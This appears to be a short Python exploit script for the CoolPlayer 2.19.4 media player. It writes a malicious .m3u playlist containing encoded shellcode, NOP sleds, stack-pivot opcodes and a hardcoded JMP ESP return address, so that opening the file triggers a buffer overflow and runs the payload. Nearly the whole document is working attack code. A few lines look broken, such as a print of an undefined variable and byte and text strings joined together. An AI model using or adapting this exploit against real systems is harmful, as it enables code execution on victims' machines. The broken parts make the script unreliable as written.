exploit coolplayer 2.19.4

buf =  b""
buf += b"\xda\xc5\xd9\x74\x24\xf4\x58\xbe\xba\xfc\x15\x40\x31"
buf += b"\xc9\xb1\x31\x31\x70\x18\x03\x70\x18\x83\xe8\x46\x1e"
buf += b"\xe0\xbc\x5e\x5d\x0b\x3d\x9e\x02\x85\xd8\xaf\x02\xf1"
buf += b"\xa9\x9f\xb2\x71\xff\x13\x38\xd7\x14\xa0\x4c\xf0\x1b"
buf += b"\x01\xfa\x26\x15\x92\x57\x1a\x34\x10\xaa\x4f\x96\x29"
buf += b"\x65\x82\xd7\x6e\x98\x6f\x85\x27\xd6\xc2\x3a\x4c\xa2"
buf += b"\xde\xb1\x1e\x22\x67\x25\xd6\x45\x46\xf8\x6d\x1c\x48"
buf += b"\xfa\xa2\x14\xc1\xe4\xa7\x11\x9b\x9f\x13\xed\x1a\x76"
buf += b"\x6a\x0e\xb0\xb7\x43\xfd\xc8\xf0\x63\x1e\xbf\x08\x90"
buf += b"\xa3\xb8\xce\xeb\x7f\x4c\xd5\x4b\x0b\xf6\x31\x6a\xd8"
buf += b"\x61\xb1\x60\x95\xe6\x9d\x64\x28\x2a\x96\x90\xa1\xcd"
buf += b"\x79\x11\xf1\xe9\x5d\x7a\xa1\x90\xc4\x26\x04\xac\x17"
buf += b"\x89\xf9\x08\x53\x27\xed\x20\x3e\x2d\xf0\xb7\x44\x03"
buf += b"\xf2\xc7\x46\x33\x9b\xf6\xcd\xdc\xdc\x06\x04\x99\x13"
buf += b"\x4d\x05\x8b\xbb\x08\xdf\x8e\xa1\xaa\x35\xcc\xdf\x28"
buf += b"\xbc\xac\x1b\x30\xb5\xa9\x60\xf6\x25\xc3\xf9\x93\x49"
buf += b"\x70\xf9\xb1\x29\x17\x69\x59\x80\xb2\x09\xf8\xdc"


nops = "\x90" * 20
print len(bad)
"7C86467B"

jmp = "\x7b\x46\x86\x7c"

subesp = "\x83\xEC\x7F\x83\xEC\x7F\xff\xe4"

addesp = "\x83\xC4\x7F\x83\xC4\x7F"

with open("C:/petadorBUF.m3u",'w')as archivo:
    evil= nops + addesp + buf + "A" * 14 + jmp + nops + subesp + (10000-260-4-len(nops)-len(buf)-len(subesp)) * "C"
    archivo.write(evil)